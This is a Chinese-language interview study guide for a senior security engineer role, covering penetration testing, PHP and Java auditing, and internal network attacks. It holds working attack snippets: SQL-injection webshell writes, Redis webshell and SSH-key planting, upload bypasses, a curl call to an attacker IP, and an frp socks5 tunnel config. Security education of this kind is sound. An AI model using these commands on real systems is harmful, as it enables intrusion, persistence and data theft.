安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。、
目录
匿名[校招]高级安全工程师(代码审计安全评估)
渗透基础
1. 自我介绍
2. SQL注入写Shell(分数据库)
3. 登录框攻击面
4. GetShell的姿势
5. 文件上传黑名单绕过
6. SQL注入后利用
7. 有趣漏洞案例
8. 蓝凌OA漏洞(示例)
9. DNS重绑定利用
10. PHP vs Java文件包含
11. Redis利用
PHP
1. 常见漏洞函数对照表
2. PHP安全特性
3. 代码审计(MVC/非MVC)
Java
1. 执行命令方式
2. 反序列化原理
3. YSO链示例(CommonsCollections)
4. Shiro反序列化漏洞
5. 反射/代理/类加载
6. 代码审计要点
Python
1. 非脚本工具开发
2. Web框架安全
3. 代码审计重点
漏洞挖掘
1. 漏洞利用研究理解
2. 漏洞利用案例(Fastjson)
内网渗透
1. Disable Function绕过
2. Webshell提权
3. 内网渗透思路
4. 无扫描横向技巧
5. 绕过杀软限制
6. 常用提权姿势
7. 内网代理(Frp)
匿名[校招]高级安全工程师(代码审计安全评估)
#### **渗透基础** 1. 自我介绍 2. SQL注入 写 Shell - mysql & mssql & oracle 3. 登录框攻击面 4. getshell的姿势 5. 文件上传点,黑名单限制,如何利用 6. SQL注入后利用 7. 讲一个你觉得有趣的漏洞案例 8. 前段时间蓝凌OA的洞 9. DNS 重绑定,利用 10. Php和Java的文件包含区别 11. Redis的利用 #### PHP 1. 常见漏洞对应函数(挨个问) - 命令执行 - 代码执行 - 文件包含 - 文件上传 - 文件删除 - SSRF - ... 2. PHP安全特性有关注吗 3. 代码审计(mvc/非mvc) #### **Java** 1. Java执行命令的几种方式 2. Java反序列化的原理 3. 讲讲yso的链 4. Shiro 反序列化原理 5. 反射,代理,类加载这些熟悉吗 6. 代码审计 #### Python 1. 是否写过非脚本的工具 2. Web框架(flask/django) 3. 代码审计 #### **漏洞挖掘(重点关注)** 1. 简历上的通用洞挨个问 2. 漏洞利用研究的理解 3. 漏洞利用研究的案例 #### **内网(偏实战问题)** 1. disable function bypass 2. webshell 提权(低权限 -> 高权限) 3. 已经拿到webshell,说说你的内网思路 4. 不允许扫描,如何横向 5. 存在杀软,不允许exe落地,怎么办 6. 常用的提权姿势 7. 内网代理,详细问了frp
渗透基础
1. 自我介绍
- 核心逻辑:技术背景(渗透测试/红队经验)+ 实战成果 + 研究方向
“专注于渗透测试5年,擅长Web漏洞挖掘与内网渗透,曾发现某金融系统SQL注入链式利用漏洞(从注入到GetShell),主导过多个企业级红队项目。研究方向包括云环境渗透、Java反序列化漏洞自动化检测,熟悉ATT&CK框架实战化落地。”2. SQL注入写Shell(分数据库)
数据库 方法 适用条件 MySQL SELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php'
需 FILE
权限,路径可写且已知MSSQL 启用xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'echo ^<%eval request("x")%^> > C:\shell.asp'
需 sysadmin
权限,禁用防护组件Oracle 使用 UTL_FILE
包写文件:
DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR','test.jsp','W'); UTL_FILE.PUT_LINE(fh,'<%execute request("x")%>'); END;
需 UTL_FILE
权限,已知可写目录3. 登录框攻击面
- 爆破攻击:弱密码(admin/admin123)、密码喷洒(单密码多用户)。
- 逻辑漏洞:验证码绕过(前端校验)、密码重置Token劫持(参数篡改)。
- SQL注入:万能密码(
' or 1=1--
)、盲注获取用户凭证。- 2FA绕过:响应包修改
"2fa_enabled":false
。- OAuth/SSO劫持:回调URL参数污染劫持授权码。
4. GetShell的姿势
- 文件上传漏洞:绕过黑名单上传WebShell。
- RCE漏洞:Struts2/Log4j2等框架远程代码执行。
- 反序列化漏洞:Java/PHP反序列化链构造。
- SSRF转内网:攻击Redis/内网Jenkins写Shell。
- 数据库写文件:结合SQL注入写Web目录。
5. 文件上传黑名单绕过
- 扩展名绕过:
.pHp
(大小写)、.php5
(非标准后缀)。- 双写绕过:
shell.pPHPphp
(过滤替换后变为.php
)。- 特殊字符截断:
shell.php%00.jpg
(旧版PHP版本)。- Content-Type修改:
image/png
伪装图片类型。- .htaccess覆盖:上传
.htaccess
文件定义可执行后缀。6. SQL注入后利用
- 数据窃取:拖库(用户表、密钥表)。
- 权限提升:读取数据库配置文件(获取高权限账号)。
- 命令执行:MySQL UDF提权/MSSQL xp_cmdshell。
- 横向移动:通过数据库连接内网其他服务(如Redis)。
7. 有趣漏洞案例
- 案例:某OA系统XML解析漏洞导致RCE。
- 漏洞链:文件上传点限制后缀为
.xml
→ 上传恶意XML触发XXE → 读取服务器文件 → 利用XSLT引擎执行Java代码。- 利用效果:通过XSLT的
document()
函数加载远程Java类,实现无文件WebShell。8. 蓝凌OA漏洞(示例)
- 漏洞类型:未授权访问 + 反序列化(2023年历史漏洞)。
- 利用链:无需登录访问
/sys/zone/LoginSSO.jsp
→ 反序列化参数触发BeanShell
执行命令。- 修复方案:升级至最新版本,限制反序列化类白名单。
9. DNS重绑定利用
- 原理:利用DNS TTL过期机制,将域名解析从外网IP切换到内网IP(如
127.0.0.1
)。- 攻击场景:绕过浏览器同源策略,访问内网服务(如SSRF攻击本地Redis)。
- 工具:使用
rbndr
服务生成动态域名。10. PHP vs Java文件包含
维度 PHP Java 函数 include
/require
(动态加载)ClassLoader
(静态加载)协议支持 支持 php://filter
、data://
等伪协议依赖类路径(ClassPath)或自定义协议处理 漏洞触发点 包含用户可控参数(如 ?file=config.ini
)动态加载远程类(如URLClassLoader) 11. Redis利用
- 未授权访问:直接连接
redis-cli -h 目标IP
。- 写WebShell:
config set dir /var/www/html
→set x "<?php phpinfo();?>"
→save
。- SSH密钥写入:
set x "\n\nssh-rsa AAA...\n\n"
→config set dir /root/.ssh
→config set dbfilename authorized_keys
→save
。- 主从复制RCE:伪造恶意Redis主节点,同步模块触发命令执行。
PHP
1. 常见漏洞函数对照表
漏洞类型 危险函数 命令执行 system()
,exec()
,passthru()
,shell_exec()
代码执行 eval()
,assert()
,preg_replace(/e修饰符)
文件包含 include
,require
,include_once
(结合伪协议)文件上传 move_uploaded_file()
(未校验后缀/内容)文件删除 unlink()
(未校验权限)SSRF file_get_contents()
,curl_exec()
(未限制URL协议)2. PHP安全特性
- 魔术引号(已废弃):自动转义输入(
magic_quotes_gpc
),可通过stripslashes()
绕过。- 禁用函数列表:
disable_functions
需绕过(如LD_PRELOAD加载恶意so)。- open_basedir限制:通过
chdir()
与ini_set()
组合绕过。3. 代码审计(MVC/非MVC)
- 非MVC审计:直接追踪用户输入到危险函数(如
$_GET['id']
传入eval()
)。- MVC框架审计:
- 路由解析:检查路由参数过滤(如
/index.php/user/view/id/123
中的id
注入)。- 过滤器链:验证全局过滤是否遗漏(如未过滤
$_FILES['file']['name']
)。- ORM层:SQL注入检测是否使用预编译(如直接拼接
where
条件)。
Java
1. 执行命令方式
- Runtime.exec :
Runtime.getRuntime().exec("cmd /c whoami")
。- ProcessBuilder:
new ProcessBuilder("bash", "-c", "curl http://攻击者IP").start()
。- GroovyShell:
new GroovyShell().evaluate("'calc'.execute()")
(依赖Groovy库)。2. 反序列化原理
- 触发点:调用
ObjectInputStream.readObject()
反序列化不可信数据。- Gadget链:通过嵌套调用链执行恶意操作(如
AnnotationInvocationHandler
→TransformedMap
→InvokerTransformer
)。3. YSO链示例(CommonsCollections)
- Transformer链构造:
ChainedTransformer
串联多个Transformer。- Map触发点:
LazyMap.get()
触发Transformer.transform()
。- 入口类:
AnnotationInvocationHandler
反序列化时触发Map
操作。4. Shiro反序列化漏洞
- 漏洞根源:Shiro RememberMe功能的AES密钥硬编码。
- 利用步骤:
- 使用已知密钥加密恶意序列化数据。
- 发送Cookie
rememberMe=加密数据
触发反序列化。5. 反射/代理/类加载
- 反射:
Class.forName(" 恶意类").newInstance()
绕过访问限制。- 动态代理:
Proxy.newProxyInstance()
拦截方法调用(如触发RCE)。- 类加载:
URLClassLoader
加载远程Jar执行代码。6. 代码审计要点
- 反序列化入口:搜索
readObject()
/readResolve()
方法。- 危险组件版本:Fastjson/Jackson/XStream等历史漏洞版本。
- SPEL表达式:检查
@Value
注解或StandardEvaluationContext
使用。
Python
1. 非脚本工具开发
- 例子:基于Flask的漏洞扫描平台,集成SQL注入、目录爆破模块。
- 技术栈:异步协程(asyncio)提升扫描效率,Jinja2模板渲染结果。
2. Web框架安全
- Flask SSTI:
{{ config.items() }}
泄露敏感配置(需开启debug模式)。- Django ORM:正确使用参数化查询(
filter(user=request.GET.get('user'))
防注入)。3. 代码审计重点
- 危险函数:
eval()
,pickle.loads()
,subprocess.run()
。- 模板注入:检查
render_template_string(request.args.get('tmpl'))
。
漏洞挖掘
1. 漏洞利用研究理解
- 流程:漏洞发现 → PoC编写 → 武器化(结合C2工具) → 防御绕过(如混淆流量)。
- 核心价值:将理论漏洞转化为实际攻击链(如Log4j2的JNDI注入利用)。
2. 漏洞利用案例(Fastjson)
- 漏洞点:
@type
属性自动加载类(如com.sun.rowset.JdbcRowSetImpl
)。- 利用链:JNDI注入指向恶意LDAP服务,加载远程类执行命令。
内网渗透
1. Disable Function绕过
- LD_PRELOAD:编译恶意so文件,通过
putenv()
设置劫持函数调用。- PHP扩展:自定义扩展覆盖
disable_functions
限制。2. Webshell提权
- 内核漏洞:检测系统版本,使用CVE-2021-4034(Polkit提权)。
- 服务配置:查找SUID文件(
find / -perm -u=s -type f 2>/dev/null
)。3. 内网渗透思路
- 信息收集:获取网卡信息(
ipconfig
)、ARP表、本地凭证。- 横向移动:Pass-the-Hash攻击域控、PsExec执行远程命令。
- 权限维持:Golden Ticket注入、计划任务部署后门。
4. 无扫描横向技巧
- 协议利用:利用SMB匿名访问(
smbclient -L //目标IP
)或RDP弱密码爆破。- 服务漏洞:攻击已知漏洞服务(如永恒之蓝利用MS17-010)。
5. 绕过杀软限制
- 无文件攻击:PowerShell内存加载恶意代码(如Meterpreter)。
- 合法工具滥用:使用certutil下载文件、msiexec执行远程安装包。
6. 常用提权姿势
- 本地漏洞:Windows内核漏洞(如PrintNightmare)。
- 服务权限:MySQL以SYSTEM运行(UDF提权)。
- 令牌窃取:利用Incognito模仿高权限用户令牌。
7. 内网代理(Frp)
- 配置示例:
ini
# frpc.ini [common] server_addr = 攻击者IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5
- 使用:通过
socks5://攻击者IP:1080
代理内网流量。